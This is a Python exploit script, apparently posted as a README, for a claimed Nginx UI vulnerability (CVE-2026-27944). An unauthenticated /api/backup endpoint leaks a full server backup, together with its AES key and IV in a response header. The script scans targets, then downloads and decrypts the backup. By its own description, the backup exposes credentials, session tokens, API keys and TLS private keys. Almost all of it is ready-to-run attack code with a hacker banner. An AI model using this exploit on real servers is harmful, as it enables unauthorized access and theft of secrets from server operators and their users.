README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption
Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers
to download and decrypt server backups via /api/backup.
"""
import argparse
import base64
import sys
import os
import requests
from requests.exceptions import RequestException
print("""
███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░ ░█████╗░██╗░░██╗
████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗ ██╔══██╗██║░██╔╝
██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║ ██║░░██║█████═╝░
██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║ ██║░░██║██╔═██╗░
██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝ ╚█████╔╝██║░╚██╗
╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░ ░╚════╝░╚═╝░░╚═╝
CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption
Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers
to download and decrypt server backups via /api/backup.
– NULL200OL-AI💀🔥created by NABEEL
""")
# Optional cryptography library
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
CRYPTO_AVAILABLE = True
except ImportError:
CRYPTO_AVAILABLE = False
# ==================== CVE Information ====================
CVE_ID = "CVE-2026-27944"
CVE_DESCRIPTION = (
"Nginx UI up to version 2.3.2 contains a critical vulnerability where the "
"/api/backup endpoint allows unauthenticated attackers to download a full "
"server backup. The backup is encrypted with AES-256, but the encryption key "
"and Initialization Vector (IV) are exposed in plaintext in the "
"X-Backup-Security HTTP response header. This allows immediate decryption."
)
CVE_CAUSE = (
"The vulnerability stems from two design flaws:\n"
" 1. Missing authentication on the /api/backup endpoint (CWE-306).\n"
" 2. Exposure of encryption keys in the HTTP response header (CWE-311)."
)
CVE_IMPACT = (
"An attacker can gain access to:\n"
" - User credentials and session tokens (database.db)\n"
" - Application secrets and API keys (app.ini)\n"
" - SSL private keys and certificates (server.key, server.cert)\n"
" - Full Nginx configuration (nginx.conf)\n"
" - TLS keys for all hosted domains (ssl/ directory)\n"
"This typically leads to full server compromise and lateral movement."
)
# ==================== Helper Functions ====================
def normalize_target(target):
"""Add http:// if no scheme is present."""
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
return target.rstrip('/')
def print_info():
"""Display detailed CVE information."""
print(f"[+] {CVE_ID} - Nginx UI Backup Exposure")
print("=" * 60)
print("Description:")
print(CVE_DESCRIPTION)
print("\nWhy it happens:")
print(CVE_CAUSE)
print("\nImpact:")
print(CVE_IMPACT)
print("=" * 60)
def check_vulnerability(target, timeout=10):
"""
Check if target is vulnerable.
Returns (is_vulnerable, headers, content_length) or (False, None, 0) on error.
"""
url = normalize_target(target) + "/api/backup"
try:
# Use a HEAD request first to minimize data transfer
resp_head = requests.head(url, timeout=timeout, allow_redirects=False)
if resp_head.status_code == 200 and 'X-Backup-Security' in resp_head.headers:
# Now do a GET to confirm (but we only need headers for scan)
# For scan, we don't need the body, just the header presence.
return True, resp_head.headers, int(resp_head.headers.get('Content-Length', 0))
else:
return False, None, 0
except RequestException as e:
print(f"[-] Error connecting to {url}: {e}")
return False, None, 0
def download_and_decrypt(target, output_file, timeout=30):
"""
Exploit the vulnerability: download encrypted backup, extract key/IV,
decrypt and save to output_file.
"""
if not CRYPTO_AVAILABLE:
print("[-] Crypto library not available. Please install pycryptodome:")
print(" pip install pycryptodome")
sys.exit(1)
url = normalize_target(target) + "/api/backup"
try:
# Stream the download to handle large files
with requests.get(url, stream=True, timeout=timeout) as r:
if r.status_code != 200:
print(f"[-] Server returned HTTP {r.status_code}. Not vulnerable or endpoint missing.")
return False
# Extract key and IV from header
security_header = r.headers.get('X-Backup-Security')
if not security_header:
print("[-] X-Backup-Security header not found. Target may not be vulnerable.")
return False
try:
key_b64, iv_b64 = security_header.split(':')
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
except (ValueError, TypeError) as e:
print(f"[-] Failed to parse X-Backup-Security header: {security_header}")
return False
if len(key) != 32 or len(iv) != 16:
print(f"[-] Invalid key or IV length. Key: {len(key)} bytes (expected 32), IV: {len(iv)} bytes (expected 16)")
return False
print(f"[+] Key extracted ({len(key)} bytes), IV extracted ({len(iv)} bytes)")
# Read encrypted data
encrypted_data = b''
for chunk in r.iter_content(chunk_size=8192):
encrypted_data += chunk
print(f"[+] Downloaded encrypted backup: {len(encrypted_data)} bytes")
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
except ValueError as e:
# Padding may be incorrect; try without unpadding (raw decrypt)
print("[!] Padding error, attempting raw decryption (data may be incomplete)")
decrypted_data = cipher.decrypt(encrypted_data)
# Save to file
with open(output_file, 'wb') as f:
f.write(decrypted_data)
print(f"[+] Decrypted backup saved to {output_file}")
print("[!] IMPORTANT: The decrypted file is likely a ZIP archive. Rename it to .zip and inspect.")
return True
except RequestException as e:
print(f"[-] Error during exploit: {e}")
return False
except Exception as e:
print(f"[-] Unexpected error: {e}")
return False
# ==================== Main CLI ====================
def main():
parser = argparse.ArgumentParser(
description=f"{CVE_ID} - Nginx UI Backup Exposure Scanner & Exploit",
epilog="Use 'info' command for detailed vulnerability information."
)
subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands')
# Info command
subparsers.add_parser('info', help='Display detailed information about the CVE')
# Scan command
scan_parser = subparsers.add_parser('scan', help='Check if a target is vulnerable')
scan_parser.add_argument('target', help='Target URL or IP:port (e.g., 192.168.1.100:9000)')
scan_parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
# Exploit command
exploit_parser = subparsers.add_parser('exploit', help='Download and decrypt the backup')
exploit_parser.add_argument('target', help='Target URL or IP:port')
exploit_parser.add_argument('--output', '-o', default='backup_decrypted.bin', help='Output file for decrypted backup (default: backup_decrypted.bin)')
exploit_parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds (default: 30)')
args = parser.parse_args()
if args.command == 'info':
print_info()
sys.exit(0)
# Commands that require target
if args.command == 'scan':
print(f"[*] Scanning {args.target} for {CVE_ID}...")
vuln, headers, size = check_vulnerability(args.target, timeout=args.timeout)
if vuln:
print(f"[+] Target is VULNERABLE!")
print(f" - X-Backup-Security header present")
print(f" - Estimated backup size: {size} bytes")
# Optionally print the header value (masked)
sec = headers.get('X-Backup-Security', '')
if sec:
print(f" - Header: {sec[:20]}... (truncated)")
else:
print("[-] Target does not appear to be vulnerable (or endpoint unreachable).")
sys.exit(0)
if args.command == 'exploit':
print(f"[*] Exploiting {args.target} for {CVE_ID}...")
success = download_and_decrypt(args.target, args.output, timeout=args.timeout)
if success:
print("[+] Exploit completed successfully.")
else:
print("[-] Exploit failed.")
sys.exit(1)
sys.exit(0)
if __name__ == '__main__':
main()